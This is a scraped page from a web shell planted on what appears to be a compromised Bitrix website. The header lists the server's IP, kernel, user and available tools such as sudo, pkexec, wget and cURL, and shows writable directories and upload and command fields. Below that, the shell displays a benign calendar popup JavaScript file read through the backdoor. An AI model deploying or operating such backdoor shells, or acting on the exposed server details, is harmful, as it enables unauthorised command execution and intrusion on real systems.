403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/calendar/controls/src/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/calendar/controls/src/emaillimitationdialog.js
'use strict';

import { Tag, Loc } from 'main.core';
import { EventEmitter } from 'main.core.events';
import { Popup } from 'main.popup';
import { FeaturePromotersRegistry } from 'ui.info-helper';

export class EmailLimitationDialog extends EventEmitter
{
	Z_INDEX = 3200;
	WIDTH = 480;

	DOM = {};
	constructor()
	{
		super();
		this.setEventNamespace('BX.Calendar.Controls.EmailLimitationDialog');
		this.id = `email-limitation-dialog-${Math.round(Math.random() * 10000)}`;
	}

	show()
	{
		this.DOM.content = Tag.render`
			<div>
				<div class="calendar-email-limit-text">${Loc.getMessage('EC_EMAIL_LIMIT_DENY')}</div>
				<div class="calendar-email-limit-subtext">${Loc.getMessage('EC_EMAIL_LIMIT_SUBTEXT')}</div>
			</div>
		`;

		this.dialog = this.getDialogPopup();

		this.dialog.show();
	}

	getDialogPopup()
	{
		return new Popup(this.id, null, {
			overlay: { opacity: 10 },
			autoHide: true,
			width: this.WIDTH,
			closeByEsc: true,
			zIndex: this.Z_INDEX,
			offsetLeft: 0,
			offsetTop: 0,
			draggable: true,
			bindOnResize: false,
			titleBar: Loc.getMessage('EC_EMAIL_LIMIT_TITLE'),
			closeIcon: { right: '12px', top: '10px' },
			className: 'email-limit-popup',
			content: this.DOM.content,
			events: {},
			cacheable: false,
			buttons: [
				new BX.UI.Button({
					text: Loc.getMessage('EC_EMAIL_LIMIT_EXPAND_PLAN'),
					className: 'ui-btn ui-btn-primary ui-btn-icon-plan',
					events: {
						click: () => {
							FeaturePromotersRegistry.getPromoter({ featureId: 'calendar_events_with_email_guests' }).show();
							this.close();
						},
					},
				}),
				new BX.UI.Button({
					text: Loc.getMessage('EC_EMAIL_LIMIT_SAVE_WITHOUT'),
					className: 'ui-btn ui-btn-link',
					events: {
						click: () => {
							this.saveWithoutAttendees();
							this.close();
						},
					},
				}),
			],
		});
	}

	close()
	{
		if (this.dialog)
		{
			this.dialog.close();
		}
	}

	saveWithoutAttendees()
	{
		this.emit('onSaveWithoutAttendees');
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit